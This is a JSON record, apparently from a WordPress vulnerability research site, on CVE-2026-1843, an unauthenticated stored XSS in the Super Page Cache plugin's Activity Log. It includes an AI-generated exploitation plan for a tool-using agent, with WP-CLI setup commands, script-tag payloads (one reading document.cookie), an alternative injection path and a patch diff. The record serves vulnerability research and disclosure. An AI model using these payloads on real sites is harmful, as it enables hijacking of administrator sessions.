[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$flU3AwsWvnjITBQRfBSFpFJ_tpqDKWLLSsNTMe-LHdSQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-1843","super-page-cache-unauthenticated-stored-cross-site-scripting-via-activity-log","Super Page Cache \u003C= 5.2.2 - Unauthenticated Stored Cross-Site Scripting via Activity Log","The Super Page Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Activity Log in all versions up to, and including, 5.2.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","wp-cloudflare-page-cache",null,"\u003C=5.2.2","5.2.3","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-02-13 19:48:00","2026-02-14 08:26:51",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa0c68e1e-5255-4e79-a6d9-a2021836e584?source=api-prod",1,[22,23,24,25,26,27,28,29],"CHANGELOG.md","assets\u002Fadvanced-cache.php","assets\u002Fbuild\u002F154.js","assets\u002Fsrc\u002Fpages\u002Fsettings\u002Fcontent\u002Fadvanced\u002FAdvancedCache.tsx","bootstrap.php","languages\u002Fwp-cloudflare-page-cache.pot","libs\u002Fcache_controller.class.php","libs\u002Fhtml_cache.class.php","researched",false,3,"# Detailed Exploitation Research Plan: CVE-2026-1843\n\n## 1. Vulnerability Summary\nThe **Super Page Cache** plugin for WordPress is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)** via its Activity Log feature. The vulnerability exists because the plugin records environment data (specifically the request URI) into an activity log without sufficient sanitization, and subsequently displays these logs in the administrative dashboard without proper output escaping. \n\nAn unauthenticated attacker can craft a malicious URL containing a script payload. When the plugin attempts to process or cache this URL (and fails or skips it due to specific rules), it logs the full URL (including the payload). When an administrator views the Activity Log, the script executes in their browser context, potentially leading to session hijacking or administrative account takeover.\n\n## 2. Attack Vector Analysis\n*   **Endpoint**: Any front-end URL (e.g., `GET \u002Fsome-page-or-404`).\n*   **Vulnerable Parameter**: `$_SERVER['REQUEST_URI']`.\n*   **Authentication**: None required for injection. Administrator required to trigger the payload.\n*   **Preconditions**: \n    1.  The \"Purge HTML pages only\" option (`cf_purge_only_html`) must be enabled to activate the `SWCFPC_Html_Cache` module.\n    2.  The Activity Log must be accessible and logging must be enabled (typically enabled when the dashboard is active).\n\n## 3. Code Flow\n1.  **Entry Point**: A request is made to the WordPress front-end.\n2.  **Hook Registration**: In `libs\u002Fhtml_cache.class.php`, the `actions()` method registers a `shutdown` hook:\n    ```php\n    add_action( 'shutdown', [ $this, 'add_current_url_to_cache' ], PHP_INT_MAX );\n    ```\n3.  **Data Collection**: The function `add_current_url_to_cache()` constructs the current URL:\n    ```php\n    \u002F\u002F libs\u002Fhtml_cache.class.php, Line 68\n    $current_url = \"{$parts['scheme']}:\u002F\u002F{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}\";\n    ```\n4.  **Logging (The Sink)**: If the page results in a 404 (a common way to trigger a \"caching failure\" log), the following code executes:\n    ```php\n    \u002F\u002F libs\u002Fhtml_cache.class.php, Line 71\n    if ( isset( $wp_query ) && function_exists( 'is_404' ) && is_404() ) {\n        $this->main_instance->get_logger()->add_log( \n            'html_cache::add_current_url_to_cache', \n            \"The URL {$current_url} cannot be cached because it returns 404.\", \n            true \n        );\n        return;\n    }\n    ```\n5.  **Storage**: The `add_log()` method (in `libs\u002Flogs.class.php`) saves the string message containing the unsanitized `$current_url` to a log file or database.\n6.  **Rendering**: When an admin accesses the dashboard, the plugin's React-based UI (found in `assets\u002Fbuild\u002F`) fetches these logs and renders them. If the UI uses a property like `dangerouslySetInnerHTML` or does not escape the message string, the XSS triggers.\n\n## 4. Nonce Acquisition Strategy\nNo nonce is required for the **injection phase**, as it occurs via a standard unauthenticated GET request to the site's front-end.\n\nTo **configure the environment** (Enable `cf_purge_only_html`), we will use WP-CLI to avoid manual GUI interactions.\n*   The settings are stored in the `swcfpc_settings` option.\n*   Key: `cf_purge_only_html`.\n\nIf the agent needs to fetch a nonce for manual dashboard interactions:\n1.  Navigate to the Super Page Cache settings page.\n2.  Use `browser_eval` to extract the nonce from the `SPCDash` object (standard for this plugin's redesigned dashboard):\n    ```javascript\n    window.SPCDash?.nonce\n    ```\n\n## 5. Exploitation Strategy\n### Step 1: Preparation\nEnable the necessary module via WP-CLI to ensure the logging path is hit.\n```bash\nwp eval \"import_once(WP_PLUGIN_DIR . '\u002Fwp-cloudflare-page-cache\u002Fbootstrap.php'); \\\n         \\SPC\\Services\\Settings_Store::get_instance()->set('cf_purge_only_html', 1); \\\n         \\SPC\\Services\\Settings_Store::get_instance()->save();\"\n```\n\n### Step 2: Payload Injection\nSend an unauthenticated request to a non-existent page with an XSS payload in the query string. This will trigger the `is_404()` logging block.\n\n*   **HTTP Request**:\n    ```http\n    GET \u002Fnon-existent-xss-page?a=\u003Cscript>alert(window.origin)\u003C\u002Fscript> HTTP\u002F1.1\n    Host: localhost:8080\n    ```\n*   **Tool**: `http_request`.\n\n### Step 3: Trigger XSS\n1.  Log in as Administrator.\n2.  Navigate to the Super Page Cache Dashboard: `\u002Fwp-admin\u002Fadmin.php?page=wp-cloudflare-page-cache`.\n3.  Click on the **Activity Log** tab (or the \"Logs\" section).\n4.  The payload will execute as the log entry \"The URL http:\u002F\u002F... cannot be cached...\" is rendered.\n\n## 6. Test Data Setup\n1.  **Plugin Status**: `wp-cloudflare-page-cache` must be active.\n2.  **Plugin Version**: Verify version is `\u003C= 5.2.2`.\n3.  **Settings**:\n    *   `cf_purge_only_html` = `1`.\n    *   `cf_log_verbosity` = `1` (or `SWCFPC_LOGS_STANDARD_VERBOSITY`).\n\n## 7. Expected Results\n*   The `http_request` to the 404 page should return a standard 404 response.\n*   Checking the plugin's internal log file (usually `wp-content\u002Fwp-cloudflare-super-page-cache\u002Flogs\u002Fspc.log` or similar) should show the URL containing the payload.\n*   Upon navigating to the dashboard Activity Log, a JavaScript alert displaying the site's origin should appear.\n\n## 8. Verification Steps\n1.  **Check Logs via CLI**:\n    Confirm the entry exists in the log files.\n    ```bash\n    find \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002F -name \"*.log\" | xargs grep \"add_current_url_to_cache\"\n    ```\n2.  **Verify Setting**:\n    ```bash\n    wp eval \"echo \\SPC\\Services\\Settings_Store::get_instance()->get('cf_purge_only_html');\"\n    ```\n3.  **Check UI Response**:\n    Use `http_request` as an admin to fetch the AJAX data for the activity log and look for the unescaped script tag in the JSON response.\n\n## 9. Alternative Approaches\nIf `is_404()` does not trigger logging, use the \"Caching Rules\" logic. Visit a page that the plugin is configured *not* to cache (e.g., the login page if parameters are allowed, or a page excluded in settings).\n*   In `libs\u002Fhtml_cache.class.php`, if `$this->current_page_can_be_cached == false`, it logs:\n    `The URL {$current_url} cannot be cached due to caching rules.`\n*   Inject the payload into the `REQUEST_URI` of a request to `wp-login.php` (which is excluded by default in `swcfpc_is_this_page_cachable()`).\n    *   **Request**: `GET \u002Fwp-login.php?xss=\u003Cimg src=x onerror=alert(1)> HTTP\u002F1.1`","The Super Page Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) due to the unsafe logging of request URIs and subsequent unescaped output in the admin dashboard's Activity Log. Unauthenticated attackers can inject scripts by visiting a non-existent page with a malicious payload in the URL, which are then executed when an administrator views the plugin's logs.","\u002F\u002F libs\u002Fhtml_cache.class.php\n\n\u002F\u002F Line 67\n$parts       = parse_url( home_url() );\n$current_url = \"{$parts['scheme']}:\u002F\u002F{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}\";\n\nif ( isset( $wp_query ) && function_exists( 'is_404' ) && is_404() ) {\n    $this->main_instance->get_logger()->add_log( 'html_cache::add_current_url_to_cache', \"The URL {$current_url} cannot be cached because it returns 404.\", true );\n\n    return;\n}\n\n---\n\n\u002F\u002F libs\u002Fhtml_cache.class.php\n\n\u002F\u002F Line 142\n$this->main_instance->get_logger()->add_log( 'html_cache::add_current_url_to_cache', \"Created the file {$filename} for the URL {$current_url}\", true );","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-cloudflare-page-cache\u002F5.2.2\u002Fassets\u002Fadvanced-cache.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-cloudflare-page-cache\u002F5.2.3\u002Fassets\u002Fadvanced-cache.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-cloudflare-page-cache\u002F5.2.2\u002Fassets\u002Fadvanced-cache.php\t2025-07-14 07:40:50.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-cloudflare-page-cache\u002F5.2.3\u002Fassets\u002Fadvanced-cache.php\t2026-02-05 10:26:32.000000000 +0000\n@@ -189,6 +189,14 @@\n \n \t\tif ( ! file_exists( $cache_path . $cache_key ) || $swcfpc_objects['fallback_cache']->fallback_cache_is_expired_page( $cache_key ) ) {\n \n+\t\t\t\u002F\u002F Bypass 4xx or 5xx HTTP status codes (security blocks, errors, etc.)\n+\t\t\tif ( SPC\\Services\\Settings_Store::get_instance()->get( SPC\\Constants::SETTING_FALLBACK_CACHE_HTTP_RESPONSE_CODE ) ) {\n+\t\t\t\t$http_status = http_response_code();\n+\t\t\t\tif ( $http_status !== false && $http_status >= 400 && $http_status \u003C 600 ) {\n+\t\t\t\t\treturn $html;\n+\t\t\t\t}\n+\t\t\t}\n+\n \t\t\tif ( $sw_cloudflare_pagecache->get_single_config( 'cf_fallback_cache_ttl', 0 ) == 0 ) {\n \t\t\t\t$ttl = 0;\n \t\t\t} else {","The exploit targets the plugin's Activity Log, which records caching failures and events. \n\n1. Precondition: The attacker identifies a site using Super Page Cache with the 'Purge HTML pages only' (cf_purge_only_html) option enabled.\n2. Injection: An unauthenticated attacker sends a GET request to a URL that results in a 404 (or another cache-skipping rule), appending a script payload to the URI (e.g., `GET \u002Fnon-existent-page?xss=\u003Cscript>alert(document.cookie)\u003C\u002Fscript>`).\n3. Sink: The plugin captures the raw `$_SERVER['REQUEST_URI']` to construct a log entry stating the URL cannot be cached. This entry is stored in the plugin's logs.\n4. Trigger: An administrator logs into the WordPress backend and navigates to the Super Page Cache settings page to view the Activity Log.\n5. Execution: The React-based dashboard fetches the logs and renders the malicious string without proper output escaping, executing the script in the administrator's browser context.","gemini-3-flash-preview","2026-04-20 23:02:55","2026-04-20 23:03:28",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","5.2.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-cloudflare-page-cache\u002Ftags\u002F5.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-cloudflare-page-cache.5.2.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-cloudflare-page-cache\u002Ftags\u002F5.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-cloudflare-page-cache.5.2.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-cloudflare-page-cache\u002Ftags"]